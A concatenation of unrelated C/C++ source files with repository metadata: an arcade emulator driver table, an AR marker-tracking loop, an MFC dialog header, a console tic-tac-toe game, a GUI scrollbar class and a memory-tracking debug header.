SCAN_VAR(nCyclesSegment); SCAN_VAR(DrvDip); SCAN_VAR(DrvInput); SCAN_VAR(DrvVBlank); SCAN_VAR(DrvOkiBank); SCAN_VAR(DrvZ80Bank); SCAN_VAR(DrvTileBank); SCAN_VAR(DrvSoundLatch); SCAN_VAR(Tumbleb2MusicCommand); SCAN_VAR(Tumbleb2MusicBank); SCAN_VAR(Tumbleb2MusicIsPlaying); } if (nAction & ACB_WRITE) { if (DrvOkiBank) { if (Jumpkids) { memcpy(MSM6295ROM + 0x20000, DrvMSM6295ROMSrc + (DrvOkiBank * 0x20000), 0x20000); } else { memcpy(MSM6295ROM + 0x30000, DrvMSM6295ROMSrc + 0x30000 + (DrvOkiBank * 0x10000), 0x10000); } } if (DrvZ80Bank) { ZetOpen(0); ZetMapArea(0x8000, 0xbfff, 0, DrvZ80Rom + (DrvZ80Bank * 0x4000)); ZetMapArea(0x8000, 0xbfff, 2, DrvZ80Rom + (DrvZ80Bank * 0x4000)); ZetClose(); } } return 0; } struct BurnDriver BurnDrvTumbleb = { "tumbleb", "tumblep", NULL, "1991", "Tumble Pop (bootleg set 1)\0", NULL, "bootleg", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING | BDF_CLONE | BDF_BOOTLEG, 2, HARDWARE_MISC_MISC, NULL, TumblebRomInfo, TumblebRomName, TumblebInputInfo, TumblebDIPInfo, TumblebInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvTumbleb2 = { "tumbleb2", "tumblep", NULL, "1991", "Tumble Pop (bootleg set 2)\0", NULL, "bootleg", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING | BDF_CLONE | BDF_BOOTLEG, 2, HARDWARE_MISC_MISC, NULL, Tumbleb2RomInfo, Tumbleb2RomName, TumblebInputInfo, TumblebDIPInfo, Tumbleb2Init, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvJumpkids = { "jumpkids", NULL, NULL, "1993", "Jump Kids\0", NULL, "Comad", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, JumpkidsRomInfo, JumpkidsRomName, TumblebInputInfo, TumblebDIPInfo, JumpkidsInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvMetlsavr = { "metlsavr", NULL, NULL, "1994", "Metal Saver\0", NULL, "First Amusement", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, MetlsavrRomInfo, MetlsavrRomName, MetlsavrInputInfo, MetlsavrDIPInfo, MetlsavrInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvPangpang = { "pangpang", NULL, NULL, "1994", "Pang Pang\0", NULL, "Dong Gue La Mi Ltd.", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, PangpangRomInfo, PangpangRomName, TumblebInputInfo, TumblebDIPInfo, PangpangInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvSuprtrio = { "suprtrio", NULL, NULL, "1994", "Super Trio\0", NULL, "Gameace", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, SuprtrioRomInfo, SuprtrioRomName, SuprtrioInputInfo, SuprtrioDIPInfo, SuprtrioInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvHtchctch = { "htchctch", NULL, NULL, "1995", "Hatch Catch\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, HtchctchRomInfo, HtchctchRomName, HtchctchInputInfo, HtchctchDIPInfo, HtchctchInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvCookbib = { "cookbib", NULL, NULL, "1995", "Cookie & Bibi\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, CookbibRomInfo, CookbibRomName, HtchctchInputInfo, CookbibDIPInfo, CookbibInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvChokChok = { "chokchok", NULL, NULL, "1995", "Choky! Choky!\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, ChokchokRomInfo, ChokchokRomName, HtchctchInputInfo, ChokchokDIPInfo, ChokchokInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvWlstar = { "wlstar", NULL, NULL, "1995", "Wonder League Star - Sok-Magicball Fighting (Korea)\0", NULL, "Mijin", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, WlstarRomInfo, WlstarRomName, MetlsavrInputInfo, WlstarDIPInfo, WlstarInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvWondl96 = { "wondl96", NULL, NULL, "1995", "Wonder League '96 (Korea)\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, Wondl96RomInfo, Wondl96RomName, MetlsavrInputInfo, Wondl96DIPInfo, Wondl96Init, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvFancywld = { "fncywld", NULL, NULL, "1996", "Fancy World - Earth of Crisis\0", NULL, "Unico", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, FncywldRomInfo, FncywldRomName, FncywldInputInfo, FncywldDIPInfo, FncywldInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvSdfight = { "sdfight", NULL, NULL, "1996", "SD Fighters (Korea)\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, SdfightRomInfo, SdfightRomName, MetlsavrInputInfo, SdfightDIPInfo, SdfightInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvBcstry = { "bcstry", NULL, NULL, "1997", "B.C. Story (set 1)\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, BcstryRomInfo, BcstryRomName, MetlsavrInputInfo, BcstryDIPInfo, BcstryInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvBcstrya = { "bcstrya", "bcstry", NULL, "1997", "B.C. Story (set 2)\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING | BDF_CLONE, 2, HARDWARE_MISC_MISC, NULL, BcstryaRomInfo, BcstryaRomName, MetlsavrInputInfo, BcstryDIPInfo, BcstryInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvSemibase = { "semibase", NULL, NULL, "1997", "MuHanSeungBu (SemiCom Baseball) (Korea)\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, SemibaseRomInfo, SemibaseRomName, SemibaseInputInfo, SemibaseDIPInfo, SemibaseInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvDquizgo = { "dquizgo", NULL, NULL, "1998", "Date Quiz Go Go (Korea)\0", NULL, "SemiCom", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, DquizgoRomInfo, DquizgoRomName, MetlsavrInputInfo, DquizgoDIPInfo, DquizgoInit, DrvExit, DrvFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 }; struct BurnDriver BurnDrvJumppop = { "jumppop", NULL, NULL, "2001", "Jumping Pop\0", "Missing Sounds", "ESD", "Miscellaneous", NULL, NULL, NULL, NULL, BDF_GAME_WORKING, 2, HARDWARE_MISC_MISC, NULL, JumppopRomInfo, JumppopRomName, JumppopInputInfo, JumppopDIPInfo, JumppopInit, DrvExit, JumppopFrame, NULL, DrvScan, NULL, 320, 240, 4, 3 };
[ [ [ 1, 4665 ] ] ]
582f4cf789733a99d963cb2f9cf7323ffbb75f1a
7d4527b094cfe62d9cd99efeed2aff7a8e8eae88
/TalkTom/TalkTom/mainloop.cpp
3d88351f8e7d26d70bd7b45e838a34a9d0adeadd
[]
no_license
Evans22/talktotom
a828894df42f520730e6c47830946c8341b230dc
4e72ba6021fdb3a918af1df30bfe8642f03b1f07
refs/heads/master
2021-01-10T17:11:10.132971
2011-02-15T12:53:00
2011-02-15T12:53:00
52,947,431
1
0
null
null
null
null
GB18030
C++
false
false
2,474
cpp
#include "stdafx.h" #include "mainloop.h" #include "draw.h" extern CGlobal g_global; extern CCamShiftHelper g_camshiftHelper; void mainLoop(void) { ARUint8 *dataPtr; ARMarkerInfo *marker_info; int marker_num; int j, k; /* grab a vide frame */ if( (dataPtr = (ARUint8 *)arVideoGetImage()) == NULL ) { arUtilSleep(2); return; } // ---------------------- // by aicro g_camshiftHelper._Fill_CV_IplImage(g_global.imgWidth, g_global.imgHeight, (char*)dataPtr); g_camshiftHelper._ShowAdjustWindow(true); // here we take the center of the picture int x, y; g_camshiftHelper._GetDetectedCenter(&x, &y); // 使用opengl的逆拾取操作 GLint viewport[4]; glGetIntegerv(GL_VIEWPORT, viewport); GLdouble mvmatrix[16]; glGetDoublev(GL_MODELVIEW_MATRIX, mvmatrix); GLdouble projmatrix[16]; glGetDoublev(GL_PROJECTION_MATRIX, projmatrix); GLint realy = viewport[3] - (GLint)y; // printf("detected: x = %d real = %d\n\n", x, realy); double wxDir, wyDir, wzDir, wxOri, wyOri, wzOri; gluUnProject((GLdouble)x, (GLdouble)realy, 1.0,\ mvmatrix, projmatrix, viewport, &wxDir, &wyDir, &wzDir); gluUnProject((GLdouble)g_global.imgWidth/2, (GLdouble)g_global.imgHeight/2, 0.0,\ mvmatrix, projmatrix, viewport, &wxOri, &wyOri, &wzOri); // printf("\n%f %f %f\n",wxDir, wyDir, wzDir); ////////////////////////////////// argDrawMode2D(); argDispImage( dataPtr, 0,0 ); /* detect the markers in the video frame */ if( arDetectMarker(dataPtr, g_global.thresh, &marker_info, &marker_num) < 0 ) { cleanup(); exit(0); } arVideoCapNext(); /* check for object visibility */ k = -1; for( j = 0; j < marker_num; j++ ) { if( g_global.patt_id == marker_info[j].id ) { if( k == -1 ) k = j; else if( marker_info[k].cf < marker_info[j].cf ) k = j; } } if( k == -1 ) { argSwapBuffers(); // we do not get the visibility of the marker ResetEvent(g_global.hWaitForMarker); return; } // we get the visibility of the marker SetEvent(g_global.hWaitForMarker); /* get the transformation between the marker and the real camera */ arGetTransMat(&marker_info[k], g_global.patt_center, g_global.patt_width, g_global.patt_trans); //printf("\n%f %f %f\n",patt_trans[0][3],patt_trans[1][3],patt_trans[2][3]); draw(wxOri, wyOri, wzOri, wxDir, wyDir, wzDir); argSwapBuffers(); }
[ "aicrosoft1104@61e0f6aa-79d2-64b1-0467-50e2521aa597" ]
[ [ [ 1, 97 ] ] ]
9cda56f463b23b4a8e8dac3a9b74558194d1b174
bdb1e38df8bf74ac0df4209a77ddea841045349e
/CapsuleSortor/Version 1.0 -2.0/CapsuleSortor-10-11-15/CapsuleSorter/CapsuleSorterDlg.h
a9f0a0801f699495a0fdc920de77f904ca501bcf
[]
no_license
Strongc/my001project
e0754f23c7818df964289dc07890e29144393432
07d6e31b9d4708d2ef691d9bedccbb818ea6b121
refs/heads/master
2021-01-19T07:02:29.673281
2010-12-17T03:10:52
2010-12-17T03:10:52
49,062,858
0
1
null
2016-01-05T11:53:07
2016-01-05T11:53:07
null
GB18030
C++
false
false
3,939
h
// CapsuleSorterDlg.h : header file // //{{AFX_INCLUDES() #include "mscomm.h" //}}AFX_INCLUDES #if !defined(AFX_CAPSULESORTERDLG_H__5A78E132_D9D1_4FA3_BCA3_CA1FF2DDB185__INCLUDED_) #define AFX_CAPSULESORTERDLG_H__5A78E132_D9D1_4FA3_BCA3_CA1FF2DDB185__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "TImgBuffer.h" #include "TImgPlayer.h" #include "Valve.h" #include "TBeacon.h" #include "colorbutton.h" #include <string> #include "TSIMDChecker.h" #include "TCritSect.h" #include "softwareconfig.h" #include "ctrlcardcomm.h" #include "TIniFile.h" ///////////////////////////////////////////////////////////////////////////// // CapsuleSorterDlg dialog //typedef ProciliCard GenieCard; class CapsuleSorterDlg : public CDialog { // Construction public: CapsuleSorterDlg(CWnd* pParent = NULL); // standard constructor // Dialog Data //{{AFX_DATA(CapsuleSorterDlg) enum { IDD = IDD_CAPSULESORTER_DIALOG }; CStatic m_yellowLight; CStatic m_redLight; CStatic m_greenLight; double m_testResult; long m_allCount; long m_badCount; BOOL m_isSim; //}}AFX_DATA // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CapsuleSorterDlg) protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support //}}AFX_VIRTUAL // Implementation protected: HICON m_hIcon; // Generated message map functions //{{AFX_MSG(CapsuleSorterDlg) virtual BOOL OnInitDialog(); afx_msg void OnSysCommand(UINT nID, LPARAM lParam); afx_msg void OnPaint(); afx_msg HCURSOR OnQueryDragIcon(); afx_msg void OnLoadImage(); afx_msg void OnGrabImage(); afx_msg void OnDestroy(); afx_msg void OnFreezeImg(); afx_msg void OnClearCount(); afx_msg void OnChangeTestSpec(); afx_msg void OnSaveImage(); afx_msg void OnSaveMultiImage(); afx_msg void OnLoadMultiImage(); afx_msg void OnIsSim(); afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor); afx_msg void OnSoftcfg(); afx_msg void OnHardcfg(); afx_msg void OnClose(); virtual void OnOK(); afx_msg void OnSoftKeyBD(); afx_msg void OnLoadConfigFile(); afx_msg void OnSaveConfigFile(); afx_msg void OnStartComtest(); afx_msg void OnEndComtest(); //}}AFX_MSG DECLARE_MESSAGE_MAP() public: void GetCamera ( FirstCam* &m_proCam, SecondCam* &m_genCam); CapsuleProc* GetProcessor ( const TImgDim& imgDim); CapsuleProc* GetProcessor ( size_t colorChannelCount); void InitImageCard (); private: static void FirstCamFunc ( void *param); static void SecondCamFunc ( void *param); static void BeaconFunc ( void *param); void IsBadHigh (); void Display ( HDC hdc); void DispCVBImg ( IMG imgIn, HDC hdc, RECT &rect); bool UpdateConfig ( const TString &iniFile, TIniFile::EnumPath ePath); std::string& GetExeFileDir (); bool InitComPort (); void OnCancel(); private: enum { THREADCOUNT = 2 }; void ConfigInterFace (); void ChangeSolution (const int width, const int height); SimularCard m_simCam; //模拟相机 SimularCard m_secondSimCam; FirstCam m_firstCam; //prosilica相机对象 SecondCam m_secondCam; //genie相机对象 SecondProcess m_secondProcess; //二号相机处理 FirstProcess m_firstProcess; //一号相机处理 TThread m_firstThread[THREADCOUNT]; TThread m_secondThread[THREADCOUNT]; TCritSect m_firstSect; TCritSect m_secondSect; IMG m_cvbHdlDisp; TThread m_beaconThread; CCButton m_colorbutton[15]; int m_solution_X; int m_solution_Y; }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_CAPSULESORTERDLG_H__5A78E132_D9D1_4FA3_BCA3_CA1FF2DDB185__INCLUDED_)
[ "vincen.cn@66f52ff4-a261-11de-b161-9f508301ba8e" ]
[ [ [ 1, 167 ] ] ]
67ea4a25a3a0500fc9dfeaaf81d15e78891141a0
b4da4d88bf5ae2d33c6031da93d8746f0a0efdad
/TicTacToe.cpp
ba786e1ab5ffc5cdd8ca96034f6710fec0456d7c
[]
no_license
ennedigi/TicTacToe
011a99225e39b6dd041f6fba12a2066821db911d
481938586f84434eebef5f71cb3142d549faa369
refs/heads/master
2020-12-24T17:36:23.054743
2011-09-11T19:22:31
2011-09-11T19:22:31
2,367,029
0
0
null
null
null
null
UTF-8
C++
false
false
4,438
cpp
//Tic-Tac-Toe by Nicola Di Giorgio 10/2010 #include <cstdlib> #include <iostream> #include <string> #include <windows.h> using namespace std; void CreateGrid(); void DrawBackGrid(); bool HasWinner(); void ControllerGame(); int grid[3][3]; bool goOn=false; const int timeMill=1500; int main(int argc, char *argv[]) {char cont; do{ system("cls"); CreateGrid(); DrawBackGrid(); ControllerGame(); printf("Do you want play again? (y/n) "); cin >> cont; if (cont=='y') goOn=true; }while (goOn); return EXIT_SUCCESS; } //FUNCTION void CreateGrid(){ for (int i=0; i<3;i++) for (int j=0; j<3;j++) grid[j][i]=0; cout<< endl << "===============TRIS===================" <<endl << endl; cout << "The game is between player 1: 'O' and player 2: 'X'\n" << endl; } //FUNCTION void DrawBackGrid() { string emptyRow=" |---|---|---|\n"; string rows[]={"1 | * | * | * |\n","2 | * | * | * |\n","3 | * | * | * |\n"}; for (int i=0; i<3;i++) for (int j=0; j<3;j++) {if (grid[j][i]==1) rows[i].replace(4+(j*4),1,"O"); if (grid[j][i]==2) rows[i].replace(4+(j*4),1,"X"); } printf(" 1 2 3 \n"); for (int r=0; r<3; r++) {cout<<emptyRow <<rows[r]; } cout<<emptyRow<< endl; } //FUNCTION bool HasWinner() { bool winPlayer[]={false,false}; bool exitBreak=false; //Check if you got a tris for (int i=0; i<3;i++) {if (grid[i][0]==grid[i][1] && grid[i][0]==grid[i][2] && grid[i][2]!=0) {winPlayer[grid[i][0]-1]=true; exitBreak=true; break; } if (grid[0][i]==grid[1][i] && grid[0][i]==grid[2][i] && grid[2][i]!=0) {winPlayer[grid[0][i]-1]=true; exitBreak=true; break;} } if (exitBreak!=true){ if (grid[0][0]==grid[1][1] && grid[1][1]==grid[2][2] && grid[2][2]!=0) winPlayer[grid[0][0]-1]=true; if (grid[0][2]==grid[1][1] && grid[1][1]==grid[2][0] && grid[2][2]!=0) winPlayer[grid[0][2]-1]=true; } //Check who has won, if any if (winPlayer[0]==true) {system("cls"); DrawBackGrid(); printf("\aPlayer 1 has won! "); return true; } else if (winPlayer[1]==true) { system("cls"); DrawBackGrid(); printf("\aPlayer 2 has won! "); return true; } else return false; } //FUNCTION void ControllerGame() { bool valid; int coordinate[2][2]; bool endGame=false; int cont=0; do{ for (int p=0;p<2;p++) { do{ do{ printf("\nPlayer %d, it's your turn!. \nRow: ",p+1); cin >> (coordinate[p][0]); if (coordinate[p][0]>3 || coordinate[p][0]<1) {printf("Input not valid. \n"); valid=false; } else valid=true; }while (valid==false); do{ cout << "Column: "; cin >> (coordinate[p][1]); if (coordinate[p][1]>3 || coordinate[p][1]<1) {printf("Input not valid. \n"); valid=false; } else valid=true; }while (valid==false); if (grid[coordinate[p][1]-1][coordinate[p][0]-1]!=0) {printf("\a\nThe square is not empty! Try again. \n"); Sleep(timeMill); system("cls"); valid=false; DrawBackGrid(); valid=false;} }while (valid==false); grid[coordinate[p][1]-1][coordinate[p][0]-1]=p+1; if (cont>1) if (HasWinner()==true) {endGame=true; break;} if (cont==4 && p==0 && endGame==false) {system("cls"); DrawBackGrid(); printf("The game ends with a draw!. "); endGame=true; break; } system("cls"); DrawBackGrid(); } cont++; }while(endGame==false); }
[ [ [ 1, 161 ] ] ]
f09ffcb890afa2559aa1d257a7b3996c46467b3e
5f0b8d4a0817a46a9ae18a057a62c2442c0eb17e
/Include/component/Scrollbar.cpp
3d801b49d280b4789b07c27189aee8d1ebd492b5
[ "BSD-3-Clause" ]
permissive
gui-works/ui
3327cfef7b9bbb596f2202b81f3fc9a32d5cbe2b
023faf07ff7f11aa7d35c7849b669d18f8911cc6
refs/heads/master
2020-07-18T00:46:37.172575
2009-11-18T22:05:25
2009-11-18T22:05:25
null
0
0
null
null
null
null
UTF-8
C++
false
false
5,321
cpp
/* * Copyright (c) 2003-2006, Bram Stein * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO * EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "./Scrollbar.h" #include "../event/ChangeEvent.h" #include "../event/ChangeListener.h" #include "../event/MouseEvent.h" namespace ui { Scrollbar::Scrollbar(float min, float max, float value, int orientation) : incrementButton(0,""), decrementButton(0,""), scroller(min,max,value,orientation), changeBy(0.0f) { init(); } Scrollbar::Scrollbar(float min,float max, float value) : incrementButton(0,""), decrementButton(0,""), scroller(min,max,value,Scroller::HORIZONTAL), changeBy(0.0f) { init(); } Scrollbar::Scrollbar(float min, float max) : incrementButton(0,""), decrementButton(0,""), scroller(min,max,0,Scroller::HORIZONTAL), changeBy(0.0f) { init(); } Scrollbar::Scrollbar(int orientation) : incrementButton(0,""), decrementButton(0,""), scroller(0,100,0,orientation), changeBy(0.0f) { init(); } void Scrollbar::init() { setLayout(&layout); if(getOrientation() == Scroller::HORIZONTAL) { addImpl(&incrementButton,layout::BorderLayout::EAST); addImpl(&decrementButton,layout::BorderLayout::WEST); } else { addImpl(&incrementButton,layout::BorderLayout::SOUTH); addImpl(&decrementButton,layout::BorderLayout::NORTH); } addImpl(&scroller,layout::BorderLayout::CENTER); incrementButton.addMouseListener(this); decrementButton.addMouseListener(this); setThemeName("Scrollbar"); } Button * Scrollbar::getIncrementButton() { return &incrementButton; } Button * Scrollbar::getDecrementButton() { return &decrementButton; } float Scrollbar::getMaximum() const { return scroller.getMaximum(); } void Scrollbar::setMaximum(float m) { scroller.setMaximum(m); } float Scrollbar::getMinimum() const { return scroller.getMinimum(); } void Scrollbar::setMinimum(float m) { scroller.setMinimum(m); } void Scrollbar::setOrientation(int o) { if(o == Scroller::HORIZONTAL && getOrientation() == Scroller::VERTICAL) { removeImpl(&incrementButton); removeImpl(&decrementButton); addImpl(&incrementButton,layout::BorderLayout::EAST); addImpl(&decrementButton,layout::BorderLayout::WEST); } else if(o == Scroller::VERTICAL && getOrientation() == Scroller::HORIZONTAL) { removeImpl(&incrementButton); removeImpl(&decrementButton); addImpl(&incrementButton,layout::BorderLayout::SOUTH); addImpl(&decrementButton,layout::BorderLayout::NORTH); } scroller.setOrientation(o); } int Scrollbar::getOrientation() const { return scroller.getOrientation(); } void Scrollbar::setValue(float v) { scroller.setValue(v); } float Scrollbar::getValue() const { return scroller.getValue(); } void Scrollbar::setAdjusting(bool a) { scroller.setAdjusting(a); } bool Scrollbar::isAdjusting() const { return scroller.isAdjusting(); } void Scrollbar::addChangeListener(event::ChangeListener *l) { scroller.addChangeListener(l); } void Scrollbar::removeChangeListener(event::ChangeListener *l) { scroller.removeChangeListener(l); } void Scrollbar::updateComponent(float deltaTime) { setValue(getValue() + changeBy); } void Scrollbar::mousePressed(const event::MouseEvent &e) { if(e.getSource() == &incrementButton) { changeBy = 3.0f; } else if(e.getSource() == &decrementButton) { changeBy = -3.0f; } } void Scrollbar::mouseReleased(const event::MouseEvent &e) { changeBy = 0.0f; } int Scrollbar::getThumbSize() const { return scroller.getThumbSize(); } void Scrollbar::setThumbSize(int percentage) { scroller.setThumbSize(percentage); } }
[ "bs@bram.(none)" ]
[ [ [ 1, 212 ] ] ]
87642528422f7abd717994d5cceaf3042c2e71f1
f2b4a9d938244916aa4377d4d15e0e2a6f65a345
/gxlib/gxl.memdbg.h
96f0fbafdad3acd358dfdbd9b86593cabf5243c1
[ "Apache-2.0" ]
permissive
notpushkin/palm-heroes
d4523798c813b6d1f872be2c88282161cb9bee0b
9313ea9a2948526eaed7a4d0c8ed2292a90a4966
refs/heads/master
2021-05-31T19:10:39.270939
2010-07-25T12:25:00
2010-07-25T12:25:00
62,046,865
2
1
null
null
null
null
UTF-8
C++
false
false
3,141
h
/* Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #ifndef GXLIB_MEMDBG_H_ #define GXLIB_MEMDBG_H_ // // we are tracking number of the blocks // // global defines //#define calloc error __do_not_use_calloc__ //#define realloc error __do_not_use_realloc__ //#define VirtualAlloc error __do_not_use_VirtalAlloc__ // // tunables ( sizes are in pow of 2 ) #define MEM_TRACKER_MIN_BLOCKSIZE 3 // 2^3 = 8 #define MEM_TRACKER_MAX_BLOCKSIZE 10 // 2^10 = 1024 #define MEM_TRACKER_NUM_BLOCKS (MEM_TRACKER_MAX_BLOCKSIZE - MEM_TRACKER_MIN_BLOCKSIZE + 2) #define MEM_TRACKER_LARGE_BLOCK (MEM_TRACKER_MAX_BLOCKSIZE - MEM_TRACKER_MIN_BLOCKSIZE + 1) #define MEM_TRACKER_LARGE_SIZE (1UL<<MEM_TRACKER_MAX_BLOCKSIZE) // enum BlockType { BlockkType_Invalid = -1, BlockType_Malloc, BlockType_New, BlockType_NewArr }; // struct mem_sample { size_t total; size_t current; size_t peak; }; struct mem_stat { mem_sample totals; mem_sample allocs; mem_sample block[ MEM_TRACKER_NUM_BLOCKS ]; }; // // void* mem_alloc( size_t size, BlockType bt ); void mem_free( void* ptr, BlockType bt ); const mem_stat& mem_info(); void mem_report(); void SetCurrentSourceState( const char* file, int line ); #ifndef __PLACEMENT_NEW_INLINE #define __PLACEMENT_NEW_INLINE inline void* operator new( size_t, void* P ) { return P; } inline void operator delete( void*, void* ) { return; } #endif //__PLACEMENT_NEW_INLINE template< typename T > void PlacementNew( T* p, const T& t ) { new( p ) T(t); } // // #ifdef MEM_TRACK inline void* operator new( size_t size) { return mem_alloc( size, BlockType_New ); } inline void* operator new[]( size_t size) { return mem_alloc( size, BlockType_NewArr ); } inline void operator delete( void* addr) { mem_free( addr, BlockType_New ); } inline void operator delete[]( void* addr) { mem_free( addr, BlockType_NewArr ); } #define new (SetCurrentSourceState(__FILE__,__LINE__),false) ? NULL : new #define delete (SetCurrentSourceState(__FILE__,__LINE__),false) ? SetCurrentSourceState("",0) : delete #define malloc(size) ((SetCurrentSourceState(__FILE__, __LINE__), false) ? NULL : mem_alloc(size, BlockType_Malloc)) #define free(ptr) (SetCurrentSourceState(__FILE__, __LINE__), false) ? SetCurrentSourceState("",0) : mem_free(ptr, BlockType_Malloc) #endif #endif //GXLIB_MEMDBG_H_
[ "palmheroesteam@2c21ad19-eed7-4c86-9350-8a7669309276" ]
[ [ [ 1, 105 ] ] ]
ddb8acc7c97439ae15a584444abbf426fb66a8bc
3d7fc34309dae695a17e693741a07cbf7ee26d6a
/aluminizerFPGA/Al/config_Al.cpp
17d19fd071da0d6a49710827e5c10a35d5396e47
[ "LicenseRef-scancode-public-domain" ]
permissive
nist-ionstorage/ionizer
f42706207c4fb962061796dbbc1afbff19026e09
70b52abfdee19e3fb7acdf6b4709deea29d25b15
refs/heads/master
2021-01-16T21:45:36.502297
2010-05-14T01:05:09
2010-05-14T01:05:09
20,006,050
5
0
null
null
null
null
UTF-8
C++
false
false
3,984
cpp
